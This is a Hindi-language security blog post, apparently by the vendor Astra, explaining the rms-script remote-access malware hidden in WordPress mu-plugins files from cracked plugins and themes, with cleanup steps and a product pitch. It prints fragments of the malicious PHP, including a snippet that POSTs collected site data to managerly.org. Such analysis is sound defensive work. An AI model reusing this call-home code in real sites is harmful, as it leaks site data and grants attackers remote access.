वर्डप्रेस से rms-script रिमोट एक्सेस मैलवेयर हटाने की चरण-दर-चरण गाइड

हाल ही में, कुछ वर्डप्रेस वेबसाइट्स में एक रिमोट एक्सेस मैलवेयर पाया गया जो किसी बाहरी साइट को रिमोट एक्सेस दे रहा था। इस मैलवेयर का स्थान बाद में wp-content/mu-plugins फ़ोल्डर में कुछ रैंडम PHP फ़ाइल्स में पाया गया। लोकप्रिय फ्री वर्डप्रेस सिक्योरिटी प्लगइन्स का उपयोग करके वेबसाइट स्कैन करने पर भी कोई विसंगति नहीं मिली। इस मैलवेयर के बारे में अधिक जानने और इसे ठीक करने का तरीका जानने के लिए आगे पढ़ें।

rms-script मैलवेयर क्या करता है

पहले तो, ऐसा लगता है कि आपकी वर्डप्रेस साइट एक अजीब एरर दिखा रही है। यह एरर रिमोट एक्सेस मैलवेयर के कारण हो रही है और इसे wp-content/mu-plugins फ़ोल्डर में ट्रेस किया जा सकता है, विशेष रूप से नीचे दी गई तस्वीर में हाइलाइट की गई संदिग्ध PHP फ़ाइल्स में:

साइट पर मैलवेयर स्कैन किए जाने के बाद भी, रिमोट एक्सेस मैलवेयर का कोई संकेत नहीं था। हालांकि, PHP फ़ाइलों के आगे के परीक्षण पर, यह पाया गया कि कोड एक बाहरी साइट, managerly.org को रिमोट लॉगिन एक्सेस दे रहा था।

आप यहां पाए गए पूर्ण दुर्भावनापूर्ण rms-script PHP कोड को देख सकते हैं।

मैलवेयर में गहराई से खुदाई

साइट के प्लगइन्स को संदिग्ध PHP फ़ाइलों (rms-script-mu-plugin.php और rms-script-ini.php) के संदर्भ के लिए ब्राउज़ करने पर, पाया गया कि क्रैक्ड प्लगइन्स में यह मैलवेयर हो सकता है। इन फ़ाइलों के निशान Divi थीम फ़ोल्डर में भी पाए गए - जिनमें से सैंपल साइट पर एक नल्ड वर्जन था। जब फ़ोल्डर डिलीट किया गया, तो स्क्रिप्ट्स चलना बंद हो गईं।

यहाँ एक क्रैक्ड प्लगइन में पाए गए कोड का एक हिस्सा है जिसमें दो दुर्भावनापूर्ण PHP स्क्रिप्ट्स की आवश्यकता होती है:

require_once('rms-script-ini.php'); rms_remote_manager_init(__FILE__, 'rms-script-mu-plugin.php', false, false);

पिछले वाले का अनुसरण करने वाला कोड स्निपेट यहां है:

$GLOBALS['rms_report_to'] = 'https://managerly.org/wp-admin/admin-ajax.php'; $args= [ 'method' => 'POST', 'timeout' => 15, 'redirection' => 15, 'headers' => ['Referer'=>$connect_to, 'User-Agent'=>$_SERVER['HTTP_USER_AGENT']], 'body' => $body ]; // Send to RMS $curl = new Wp_Http_Curl(); $result=$curl->request($connect_to, $args); $result=(is_array($result) && isset($result['body'])) ? json_decode($result['body'], true) : null;

यह कोड उस वेबसाइट से डेटा एकत्र करता प्रतीत होता है जिस पर यह है और इसे बाहरी साइट पर भेजता है - संक्षेप में, यह एक रिमोट एक्सेस मैलवेयर है जो आपके डेटा को managerly.org साइट पर भेजता है। यह बेहद हानिकारक हो सकता है - अगले भाग में इस पर और अधिक।

managerly.org पर आगे के विश्लेषण से निम्नलिखित जानकारी सामने आती है:

• रजिस्ट्रेंट संगठन: Wuxi Yilian LLC
• रजिस्ट्रेंट राज्य/प्रांत: Fujian
• रजिस्ट्रेंट देश: CN
• नेम सर्वर: LARS.NS.CLOUDFLARE.COM, ASHLEY.NS.CLOUDFLARE.COM
• DNSSEC: unsigned

रजिस्ट्रेंट संगठन के नाम को खोजने पर Reddit पोस्ट पर भी बहुत सारे हिट मिलते हैं। ऐसा लगता है कि यह LLC फर्जी है और अन्य घोटालों में भी शामिल है। यहां कुछ खोज परिणाम हैं:

यह मैलवेयर खतरनाक क्यों है

रिमोट एक्सेस मैलवेयर हमले में, हमलावर आपकी वेबसाइट तक पहुंच प्राप्त कर सकते हैं और इसका उपयोग अपने दुर्भावनापूर्ण अभियानों के लिए कर सकते हैं। आप अपनी साइट का नियंत्रण खो सकते हैं और संवेदनशील डेटा हमलावर के सामने प्रकट हो सकता है।

यहां, हमलावर rms-script रिमोट एक्सेस मैलवेयर के माध्यम से वर्डप्रेस अकाउंट्स को माइन करने का प्रयास कर रहे हैं! यह हैक शायद आपके वेबसाइट की सुरक्षा को बायपास कर सकता है भले ही आप अपना पासवर्ड बदल लें।

सावधानी का एक शब्द - इस समस्या के दोबारा होने की उच्च संभावना है, क्योंकि फ्री सिक्योरिटी टूल्स इस मैलवेयर का पता लगाने में सक्षम नहीं हैं। इसलिए, कृपया अपनी वेबसाइट को किसी भी संदिग्ध दिखने वाली फ़ाइल के लिए अच्छी तरह से जांचें और यदि संभव हो तो अपनी वेबसाइट की सुरक्षा को मजबूत करें।

wp-contents/mu-plugins फ़ोल्डर और Divi थीम फ़ोल्डर में किसी भी दुर्भावनापूर्ण PHP फ़ाइल की जांच करना भी सुनिश्चित करें यदि आपने इसे इंस्टॉल किया है।

अपनी वर्डप्रेस साइट कैसे ठीक करें

1. सफाई से पहले अपनी साइट का बैकअप लें:

वेबसाइट को ऑफ़लाइन ले जाना उचित है ताकि उपयोगकर्ता सफाई के दौरान संक्रमित पेज पर न जाएं। सभी कोर फ़ाइलों और डेटाबेस का बैकअप लेना सुनिश्चित करें। बैकअप को कंप्रेस्ड फ़ाइल फॉर्मेट में लेना सुनिश्चित करें, जैसे .zip।

2. अपनी साइट से किसी भी नल्ड या क्रैक्ड प्लगइन्स को हटाएं:

ऐसा लगता है कि बहुत सारे प्लगइन्स और थीम्स - विशेष रूप से Divi थीम - जो क्रैक्ड या नल्ड हैं, उनमें यह रिमोट एक्सेस मैलवेयर है। इस मैलवेयर के द वर्डप्रेस क्लब से ऐसे क्रैक्ड प्लगइन्स और थीम्स में पाए जाने का विवरण इस Stack Overflow उत्तर में पाया जा सकता है। इसलिए अपनी साइट से किसी भी नल्ड या क्रैक्ड प्लगइन्स को हटाना सुनिश्चित करें और फिर मैलवेयर स्कैन चलाएं! केवल वास्तविक प्लगइन्स और थीम्स का उपयोग करें, और उन्हें अपडेट रखें ताकि यह सुनिश्चित हो सके कि आपकी साइट कमज़ोर नहीं है।

3. सभी संदिग्ध फ़ोल्डर्स और फ़ाइलें डिलीट करें:

अपनी साइट में संभावित रूप से दुर्भावनापूर्ण फ़ाइलों की जांच करें, और उन्हें डिलीट करें।

संबंधित गाइड - वर्डप्रेस मैलवेयर रिमूवल

4. मैलवेयर स्कैन चलाएं:

मैलवेयर लगातार विकसित हो रहा है, लेकिन मैलवेयर स्कैनर भी। अपने वेब सर्वर पर मैलवेयर और दुर्भावनापूर्ण फ़ाइलों के लिए मैलवेयर स्कैन चलाना हमेशा एक अच्छा विचार है। आप अपने वेब होस्ट द्वारा प्रदान किए गए cPanel में 'वायरस स्कैनर' टूल का उपयोग कर सकते हैं, या एस्ट्रा प्रो प्लान के साथ विशेषज्ञ मैलवेयर क्लीनअप प्राप्त कर सकते हैं। हमारा मैलवेयर स्कैनर दुर्भावनापूर्ण PHP फ़ाइलों को फ़्लैग करता है!

वर्डप्रेस wp-content/mu-plugin रिमोट एक्सेस मैलवेयर: निष्कर्ष

हाल ही में वर्डप्रेस साइट्स में एक रिमोट एक्सेस मैलवेयर पाया गया, ज्यादातर वे जो नल्ड या क्रैक्ड प्लगइन्स का उपयोग कर रहे थे। हालांकि इस मैलवेयर को बहुत सारे लोकप्रिय मैलवेयर स्कैनर्स द्वारा फ़्लैग नहीं किया गया था, वे लगातार अपडेट हो रहे हैं और यदि आपको संदेह है कि आपकी साइट प्रभावित हो सकती है तो स्कैन चलाना एक अच्छा विचार है। इसके अलावा, केवल वास्तविक प्लगइन्स और थीम्स का उपयोग करना और उन्हें अपडेट रखना यह सुनिश्चित करने का एक शानदार तरीका है कि आपकी साइट सुरक्षित रहे।

एस्ट्रा के बारे में

एस्ट्रा आवश्यक वेब सुरक्षा सूट है जो आपके लिए हैकर्स, इंटरनेट खतरों और बॉट्स से लड़ता है। हम वर्डप्रेस, ओपनकार्ट, Magento आदि जैसे लोकप्रिय CMS पर चलने वाली आपकी वेबसाइट्स के लिए सक्रिय सुरक्षा प्रदान करते हैं। हमारी तकनीकी सहायता टीम पूरे वर्ष 24×7 उपलब्ध है ताकि हैकिंग और मैलवेयर संक्रमण स्थितियों के संबंध में आपके सभी प्रश्नों में मदद कर सके।